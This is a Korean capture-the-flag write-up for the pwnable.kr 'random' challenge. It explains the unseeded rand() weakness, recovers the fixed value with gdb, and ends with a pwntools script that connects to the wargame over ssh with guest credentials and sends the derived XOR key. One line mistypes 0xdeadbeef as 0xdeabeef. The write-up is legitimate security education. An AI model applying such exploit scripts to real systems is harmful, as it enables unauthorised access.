Wargame/Pwnable.kr
[Toddler's Bottle] - random
Anatis
2021. 3. 28. 17:05
이번 문제는 랜덤 값을 구하는 문제인거 같다.
소스 코드를 보면 rand함수로 random값을 부여해주는데 여기서 취약점이 생긴다. 같은 값만 생성하지 않기 위해선
srand(time(NULL))을 해줘야 매번 랜덤 값을 생성 할 때 마다 다른 값이 생성 된다. 아래쪽에선 key를 입력받고
random값과 key 값을 xor 연산을 하는데 그 값이 0xdeabeef와 같으면 if문을 통과하게 된다.
random 값이 항상 일정하니 gdb로 확인 해보자.
생성된 random 값을 보면 0x6b8b4567 정수로 1804289383이다. key 값과 xor 연산을해서 0xdeadbeef와 같으려면
반대로 key = random ^ 0xdeadbeef 값이 된다.
exploit
from pwn import *
user = 'random'
host = 'pwnable.kr'
port = 2222
password = 'guest'
s = ssh(user, host, port, password)
p = s.process('./random')
key = 3735928559 ^ 1804289383 # 0xdeadbeef ^ random
p.send(str(key))
p.interactive()